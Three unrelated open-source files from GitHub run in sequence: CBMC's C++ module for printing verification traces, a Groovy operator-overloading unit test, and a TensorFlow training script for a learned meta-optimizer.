/*******************************************************************\ Module: Traces of GOTO Programs Author: Daniel Kroening Date: July 2005 \*******************************************************************/ /// \file /// Traces of GOTO Programs #include "goto_trace.h" #include <ostream> #include <util/arith_tools.h> #include <util/byte_operators.h> #include <util/format_expr.h> #include <util/range.h> #include <util/string_utils.h> #include <util/symbol.h> #include <langapi/language_util.h> #include "printf_formatter.h" static optionalt<symbol_exprt> get_object_rec(const exprt &src) { if(src.id()==ID_symbol) return to_symbol_expr(src); else if(src.id()==ID_member) return get_object_rec(to_member_expr(src).struct_op()); else if(src.id()==ID_index) return get_object_rec(to_index_expr(src).array()); else if(src.id()==ID_typecast) return get_object_rec(to_typecast_expr(src).op()); else if( src.id() == ID_byte_extract_little_endian || src.id() == ID_byte_extract_big_endian) { return get_object_rec(to_byte_extract_expr(src).op()); } else return {}; // give up } optionalt<symbol_exprt> goto_trace_stept::get_lhs_object() const { return get_object_rec(full_lhs); } void goto_tracet::output( const class namespacet &ns, std::ostream &out) const { for(const auto &step : steps) step.output(ns, out); } void goto_trace_stept::output( const namespacet &, std::ostream &out) const { out << "*** "; // clang-format off switch(type) { case goto_trace_stept::typet::ASSERT: out << "ASSERT"; break; case goto_trace_stept::typet::ASSUME: out << "ASSUME"; break; case goto_trace_stept::typet::LOCATION: out << "LOCATION"; break; case goto_trace_stept::typet::ASSIGNMENT: out << "ASSIGNMENT"; break; case goto_trace_stept::typet::GOTO: out << "GOTO"; break; case goto_trace_stept::typet::DECL: out << "DECL"; break; case goto_trace_stept::typet::DEAD: out << "DEAD"; break; case goto_trace_stept::typet::OUTPUT: out << "OUTPUT"; break; case goto_trace_stept::typet::INPUT: out << "INPUT"; break; case goto_trace_stept::typet::ATOMIC_BEGIN: out << "ATOMIC_BEGIN"; break; case goto_trace_stept::typet::ATOMIC_END: out << "ATOMIC_END"; break; case goto_trace_stept::typet::SHARED_READ: out << "SHARED_READ"; break; case goto_trace_stept::typet::SHARED_WRITE: out << "SHARED WRITE"; break; case goto_trace_stept::typet::FUNCTION_CALL: out << "FUNCTION CALL"; break; case goto_trace_stept::typet::FUNCTION_RETURN: out << "FUNCTION RETURN"; break; case goto_trace_stept::typet::MEMORY_BARRIER: out << "MEMORY_BARRIER"; break; case goto_trace_stept::typet::SPAWN: out << "SPAWN"; break; case goto_trace_stept::typet::CONSTRAINT: out << "CONSTRAINT"; break; case goto_trace_stept::typet::NONE: out << "NONE"; break; } // clang-format on if(is_assert() || is_assume() || is_goto()) out << " (" << cond_value << ')'; else if(is_function_call()) out << ' ' << called_function; if(hidden) out << " hidden"; out << '\n'; if(is_assignment()) { out << " " << format(full_lhs) << " = " << format(full_lhs_value) << '\n'; } if(!pc->source_location.is_nil()) out << pc->source_location << '\n'; out << pc->type << '\n'; if(pc->is_assert()) { if(!cond_value) { out << "Violated property:" << '\n'; if(pc->source_location.is_nil()) out << " " << pc->source_location << '\n'; if(!comment.empty()) out << " " << comment << '\n'; out << " " << format(pc->get_condition()) << '\n'; out << '\n'; } } out << '\n'; } /// Returns the numeric representation of an expression, based on /// options. The default is binary without a base-prefix. Setting /// options.hex_representation to be true outputs hex format. Setting /// options.base_prefix to be true appends either 0b or 0x to the number /// to indicate the base /// \param expr: expression to get numeric representation from /// \param ns: namespace for symbol type lookups /// \param options: configuration options /// \return a string with the numeric representation static std::string numeric_representation( const constant_exprt &expr, const namespacet &ns, const trace_optionst &options) { std::string result; std::string prefix; const typet &expr_type = expr.type(); const typet &underlying_type = expr_type.id() == ID_c_enum_tag ? ns.follow_tag(to_c_enum_tag_type(expr_type)).subtype() : expr_type; const irep_idt &value = expr.get_value(); const auto width = to_bitvector_type(underlying_type).get_width(); const mp_integer value_int = bvrep2integer(id2string(value), width, false); if(options.hex_representation) { result = integer2string(value_int, 16); prefix = "0x"; } else { result = integer2binary(value_int, width); prefix = "0b"; } std::ostringstream oss; std::string::size_type i = 0; for(const auto c : result) { oss << c; if(++i % 8 == 0 && result.size() != i) oss << ' '; } if(options.base_prefix) return prefix + oss.str(); else return oss.str(); } std::string trace_numeric_value( const exprt &expr, const namespacet &ns, const trace_optionst &options) { const typet &type = expr.type(); if(expr.id()==ID_constant) { if(type.id()==ID_unsignedbv || type.id()==ID_signedbv || type.id()==ID_bv || type.id()==ID_fixedbv || type.id()==ID_floatbv || type.id()==ID_pointer || type.id()==ID_c_bit_field || type.id()==ID_c_bool || type.id()==ID_c_enum || type.id()==ID_c_enum_tag) { return numeric_representation(to_constant_expr(expr), ns, options); } else if(type.id()==ID_bool) { return expr.is_true()?"1":"0"; } else if(type.id()==ID_integer) { const auto i = numeric_cast<mp_integer>(expr); if(i.has_value() && *i >= 0) { if(options.hex_representation) return "0x" + integer2string(*i, 16); else return "0b" + integer2string(*i, 2); } } } else if(expr.id()==ID_array) { std::string result; forall_operands(it, expr) { if(result.empty()) result="{ "; else result+=", "; result+=trace_numeric_value(*it, ns, options); } return result+" }"; } else if(expr.id()==ID_struct) { std::string result="{ "; forall_operands(it, expr) { if(it!=expr.operands().begin()) result+=", "; result+=trace_numeric_value(*it, ns, options); } return result+" }"; } else if(expr.id()==ID_union) { return trace_numeric_value(to_union_expr(expr).op(), ns, options); } return "?"; } static void trace_value( messaget::mstreamt &out, const namespacet &ns, const optionalt<symbol_exprt> &lhs_object, const exprt &full_lhs, const exprt &value, const trace_optionst &options) { irep_idt identifier; if(lhs_object.has_value()) identifier=lhs_object->get_identifier(); out << from_expr(ns, identifier, full_lhs) << '='; if(value.is_nil()) out << "(assignment removed)"; else { out << from_expr(ns, identifier, value); // the binary representation out << ' ' << messaget::faint << '(' << trace_numeric_value(value, ns, options) << ')' << messaget::reset; } out << '\n'; } static std::string state_location(const goto_trace_stept &state, const namespacet &ns) { std::string result; const auto &source_location = state.pc->source_location; if(!source_location.get_file().empty()) result += "file " + id2string(source_location.get_file()); if(!state.function_id.empty()) { const symbolt &symbol = ns.lookup(state.function_id); if(!result.empty()) result += ' '; result += "function " + id2string(symbol.display_name()); } if(!source_location.get_line().empty()) { if(!result.empty()) result += ' '; result += "line " + id2string(source_location.get_line()); } if(!result.empty()) result += ' '; result += "thread " + std::to_string(state.thread_nr); return result; } void show_state_header( messaget::mstreamt &out, const namespacet &ns, const goto_trace_stept &state, unsigned step_nr, const trace_optionst &options) { out << '\n'; if(step_nr == 0) out << "Initial State"; else out << "State " << step_nr; out << ' ' << state_location(state, ns) << '\n'; out << "----------------------------------------------------" << '\n'; if(options.show_code) { out << as_string(ns, state.function_id, *state.pc) << '\n'; out << "----------------------------------------------------" << '\n'; } } bool is_index_member_symbol(const exprt &src) { if(src.id()==ID_index) return is_index_member_symbol(to_index_expr(src).array()); else if(src.id()==ID_member) return is_index_member_symbol(to_member_expr(src).compound()); else if(src.id()==ID_symbol) return true; else return false; } /// \brief show a compact variant of the goto trace on the console /// \param out: the output stream /// \param ns: the namespace /// \param goto_trace: the trace to be shown /// \param options: any options, e.g., numerical representation void show_compact_goto_trace( messaget::mstreamt &out, const namespacet &ns, const goto_tracet &goto_trace, const trace_optionst &options) { std::size_t function_depth = 0; for(const auto &step : goto_trace.steps) { if(step.is_function_call()) function_depth++; else if(step.is_function_return()) function_depth--; // hide the hidden ones if(step.hidden) continue; switch(step.type) { case goto_trace_stept::typet::ASSERT: if(!step.cond_value) { out << '\n'; out << messaget::red << "Violated property:" << messaget::reset << '\n'; if(!step.pc->source_location.is_nil()) out << " " << state_location(step, ns) << '\n'; out << " " << messaget::red << step.comment << messaget::reset << '\n'; if(step.pc->is_assert()) { out << " " << from_expr(ns, step.function_id, step.pc->get_condition()) << '\n'; } out << '\n'; } break; case goto_trace_stept::typet::ASSIGNMENT: if( step.assignment_type == goto_trace_stept::assignment_typet::ACTUAL_PARAMETER) { break; } out << " "; if(!step.pc->source_location.get_line().empty()) { out << messaget::faint << step.pc->source_location.get_line() << ':' << messaget::reset << ' '; } trace_value( out, ns, step.get_lhs_object(), step.full_lhs, step.full_lhs_value, options); break; case goto_trace_stept::typet::FUNCTION_CALL: // downwards arrow out << '\n' << messaget::faint << u8"\u21b3" << messaget::reset << ' '; if(!step.pc->source_location.get_file().empty()) { out << messaget::faint << step.pc->source_location.get_file(); if(!step.pc->source_location.get_line().empty()) { out << messaget::faint << ':' << step.pc->source_location.get_line(); } out << messaget::reset << ' '; } { // show the display name const auto &f_symbol = ns.lookup(step.called_function); out << f_symbol.display_name(); } { auto arg_strings = make_range(step.function_arguments) .map([&ns, &step](const exprt &arg) { return from_expr(ns, step.function_id, arg); }); out << '('; join_strings(out, arg_strings.begin(), arg_strings.end(), ", "); out << ")\n"; } break; case goto_trace_stept::typet::FUNCTION_RETURN: // upwards arrow out << messaget::faint << u8"\u21b5" << messaget::reset << '\n'; break; case goto_trace_stept::typet::ASSUME: case goto_trace_stept::typet::LOCATION: case goto_trace_stept::typet::GOTO: case goto_trace_stept::typet::DECL: case goto_trace_stept::typet::OUTPUT: case goto_trace_stept::typet::INPUT: case goto_trace_stept::typet::SPAWN: case goto_trace_stept::typet::MEMORY_BARRIER: case goto_trace_stept::typet::ATOMIC_BEGIN: case goto_trace_stept::typet::ATOMIC_END: case goto_trace_stept::typet::DEAD: case goto_trace_stept::typet::CONSTRAINT: case goto_trace_stept::typet::SHARED_READ: case goto_trace_stept::typet::SHARED_WRITE: break; case goto_trace_stept::typet::NONE: UNREACHABLE; } } } void show_full_goto_trace( messaget::mstreamt &out, const namespacet &ns, const goto_tracet &goto_trace, const trace_optionst &options) { unsigned prev_step_nr=0; bool first_step=true; std::size_t function_depth=0; for(const auto &step : goto_trace.steps) { // hide the hidden ones if(step.hidden) continue; switch(step.type) { case goto_trace_stept::typet::ASSERT: if(!step.cond_value) { out << '\n'; out << messaget::red << "Violated property:" << messaget::reset << '\n'; if(!step.pc->source_location.is_nil()) { out << " " << state_location(step, ns) << '\n'; } out << " " << messaget::red << step.comment << messaget::reset << '\n'; if(step.pc->is_assert()) { out << " " << from_expr(ns, step.function_id, step.pc->get_condition()) << '\n'; } out << '\n'; } break; case goto_trace_stept::typet::ASSUME: if(step.cond_value && step.pc->is_assume()) { out << "\n"; out << "Assumption:\n"; if(!step.pc->source_location.is_nil()) out << " " << step.pc->source_location << '\n'; out << " " << from_expr(ns, step.function_id, step.pc->get_condition()) << '\n'; } break; case goto_trace_stept::typet::LOCATION: break; case goto_trace_stept::typet::GOTO: break; case goto_trace_stept::typet::ASSIGNMENT: if(step.pc->is_assign() || step.pc->is_return() || // returns have a lhs! step.pc->is_function_call() || (step.pc->is_other() && step.full_lhs.is_not_nil())) { if(prev_step_nr!=step.step_nr || first_step) { first_step=false; prev_step_nr=step.step_nr; show_state_header(out, ns, step, step.step_nr, options); } out << " "; trace_value( out, ns, step.get_lhs_object(), step.full_lhs, step.full_lhs_value, options); } break; case goto_trace_stept::typet::DECL: if(prev_step_nr!=step.step_nr || first_step) { first_step=false; prev_step_nr=step.step_nr; show_state_header(out, ns, step, step.step_nr, options); } out << " "; trace_value( out, ns, step.get_lhs_object(), step.full_lhs, step.full_lhs_value, options); break; case goto_trace_stept::typet::OUTPUT: if(step.formatted) { printf_formattert printf_formatter(ns); printf_formatter(id2string(step.format_string), step.io_args); printf_formatter.print(out); out << '\n'; } else { show_state_header(out, ns, step, step.step_nr, options); out << " OUTPUT " << step.io_id << ':'; for(std::list<exprt>::const_iterator l_it=step.io_args.begin(); l_it!=step.io_args.end(); l_it++) { if(l_it!=step.io_args.begin()) out << ';'; out << ' ' << from_expr(ns, step.function_id, *l_it); // the binary representation out << " (" << trace_numeric_value(*l_it, ns, options) << ')'; } out << '\n'; } break; case goto_trace_stept::typet::INPUT: show_state_header(out, ns, step, step.step_nr, options); out << " INPUT " << step.io_id << ':'; for(std::list<exprt>::const_iterator l_it=step.io_args.begin(); l_it!=step.io_args.end(); l_it++) { if(l_it!=step.io_args.begin()) out << ';'; out << ' ' << from_expr(ns, step.function_id, *l_it); // the binary representation out << " (" << trace_numeric_value(*l_it, ns, options) << ')'; } out << '\n'; break; case goto_trace_stept::typet::FUNCTION_CALL: function_depth++; if(options.show_function_calls) { out << "\n#### Function call: " << step.called_function; out << '('; bool first = true; for(auto &arg : step.function_arguments) { if(first) first = false; else out << ", "; out << from_expr(ns, step.function_id, arg); } out << ") (depth " << function_depth << ") ####\n"; } break; case goto_trace_stept::typet::FUNCTION_RETURN: function_depth--; if(options.show_function_calls) { out << "\n#### Function return from " << step.function_id << " (depth " << function_depth << ") ####\n"; } break; case goto_trace_stept::typet::SPAWN: case goto_trace_stept::typet::MEMORY_BARRIER: case goto_trace_stept::typet::ATOMIC_BEGIN: case goto_trace_stept::typet::ATOMIC_END: case goto_trace_stept::typet::DEAD: break; case goto_trace_stept::typet::CONSTRAINT: case goto_trace_stept::typet::SHARED_READ: case goto_trace_stept::typet::SHARED_WRITE: case goto_trace_stept::typet::NONE: UNREACHABLE; } } } static void show_goto_stack_trace( messaget::mstreamt &out, const namespacet &ns, const goto_tracet &goto_trace) { // map from thread number to a call stack std::map<unsigned, std::vector<goto_tracet::stepst::const_iterator>> call_stacks; // by default, we show thread 0 unsigned thread_to_show = 0; for(auto s_it = goto_trace.steps.begin(); s_it != goto_trace.steps.end(); s_it++) { const auto &step = *s_it; auto &stack = call_stacks[step.thread_nr]; if(step.is_assert()) { if(!step.cond_value) { stack.push_back(s_it); thread_to_show = step.thread_nr; } } else if(step.is_function_call()) { stack.push_back(s_it); } else if(step.is_function_return()) { stack.pop_back(); } } const auto &stack = call_stacks[thread_to_show]; // print in reverse order for(auto s_it = stack.rbegin(); s_it != stack.rend(); s_it++) { const auto &step = **s_it; if(step.is_assert()) { out << " assertion failure"; if(!step.pc->source_location.is_nil()) out << ' ' << step.pc->source_location; out << '\n'; } else if(step.is_function_call()) { out << " " << step.called_function; out << '('; bool first = true; for(auto &arg : step.function_arguments) { if(first) first = false; else out << ", "; out << from_expr(ns, step.function_id, arg); } out << ')'; if(!step.pc->source_location.is_nil()) out << ' ' << step.pc->source_location; out << '\n'; } } } void show_goto_trace( messaget::mstreamt &out, const namespacet &ns, const goto_tracet &goto_trace, const trace_optionst &options) { if(options.stack_trace) show_goto_stack_trace(out, ns, goto_trace); else if(options.compact_trace) show_compact_goto_trace(out, ns, goto_trace, options); else show_full_goto_trace(out, ns, goto_trace, options); } const trace_optionst trace_optionst::default_options = trace_optionst(); std::set<irep_idt> goto_tracet::get_failed_property_ids() const { std::set<irep_idt> property_ids; for(const auto &step : steps) { if(step.is_assert() && !step.cond_value) property_ids.insert(step.property_id); } return property_ids; }
{ "pile_set_name": "Github" }
/* * Licensed to the Apache Software Foundation (ASF) under one * or more contributor license agreements. See the NOTICE file * distributed with this work for additional information * regarding copyright ownership. The ASF licenses this file * to you under the Apache License, Version 2.0 (the * "License"); you may not use this file except in compliance * with the License. You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, * software distributed under the License is distributed on an * "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY * KIND, either express or implied. See the License for the * specific language governing permissions and limitations * under the License. */ package groovy.operator import groovy.test.GroovyTestCase import static java.awt.Color.* class MyColorOperatorOverloadingTest extends GroovyTestCase { void testAll() { if (HeadlessTestSupport.headless) return def c = new MyColor(128, 128, 128) assert c.delegate == GRAY def c2 = -c assert c2.delegate == DARK_GRAY assert (+c).delegate == WHITE use(MyColorCategory) { assert (~c2).delegate == LIGHT_GRAY } } }
{ "pile_set_name": "Github" }
# Copyright 2016 Google Inc. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. # ============================================================================== """Learning 2 Learn training.""" from __future__ import absolute_import from __future__ import division from __future__ import print_function import os from six.moves import xrange import tensorflow as tf from tensorflow.contrib.learn.python.learn import monitored_session as ms import meta import util flags = tf.flags logging = tf.logging FLAGS = flags.FLAGS flags.DEFINE_string("save_path", None, "Path for saved meta-optimizer.") flags.DEFINE_integer("num_epochs", 10000, "Number of training epochs.") flags.DEFINE_integer("log_period", 100, "Log period.") flags.DEFINE_integer("evaluation_period", 1000, "Evaluation period.") flags.DEFINE_integer("evaluation_epochs", 20, "Number of evaluation epochs.") flags.DEFINE_string("problem", "simple", "Type of problem.") flags.DEFINE_integer("num_steps", 100, "Number of optimization steps per epoch.") flags.DEFINE_integer("unroll_length", 20, "Meta-optimizer unroll length.") flags.DEFINE_float("learning_rate", 0.001, "Learning rate.") flags.DEFINE_boolean("second_derivatives", False, "Use second derivatives.") def main(_): # Configuration. num_unrolls = FLAGS.num_steps // FLAGS.unroll_length if FLAGS.save_path is not None: if os.path.exists(FLAGS.save_path): raise ValueError("Folder {} already exists".format(FLAGS.save_path)) else: os.mkdir(FLAGS.save_path) # Problem. problem, net_config, net_assignments = util.get_config(FLAGS.problem) # Optimizer setup. optimizer = meta.MetaOptimizer(**net_config) minimize = optimizer.meta_minimize( problem, FLAGS.unroll_length, learning_rate=FLAGS.learning_rate, net_assignments=net_assignments, second_derivatives=FLAGS.second_derivatives) step, update, reset, cost_op, _ = minimize with ms.MonitoredSession() as sess: # Prevent accidental changes to the graph. tf.get_default_graph().finalize() best_evaluation = float("inf") total_time = 0 total_cost = 0 for e in xrange(FLAGS.num_epochs): # Training. time, cost = util.run_epoch(sess, cost_op, [update, step], reset, num_unrolls) total_time += time total_cost += cost # Logging. if (e + 1) % FLAGS.log_period == 0: util.print_stats("Epoch {}".format(e + 1), total_cost, total_time, FLAGS.log_period) total_time = 0 total_cost = 0 # Evaluation. if (e + 1) % FLAGS.evaluation_period == 0: eval_cost = 0 eval_time = 0 for _ in xrange(FLAGS.evaluation_epochs): time, cost = util.run_epoch(sess, cost_op, [update], reset, num_unrolls) eval_time += time eval_cost += cost util.print_stats("EVALUATION", eval_cost, eval_time, FLAGS.evaluation_epochs) if FLAGS.save_path is not None and eval_cost < best_evaluation: print("Removing previously saved meta-optimizer") for f in os.listdir(FLAGS.save_path): os.remove(os.path.join(FLAGS.save_path, f)) print("Saving meta-optimizer to {}".format(FLAGS.save_path)) optimizer.save(sess, FLAGS.save_path) best_evaluation = eval_cost if __name__ == "__main__": tf.app.run()
{ "pile_set_name": "Github" }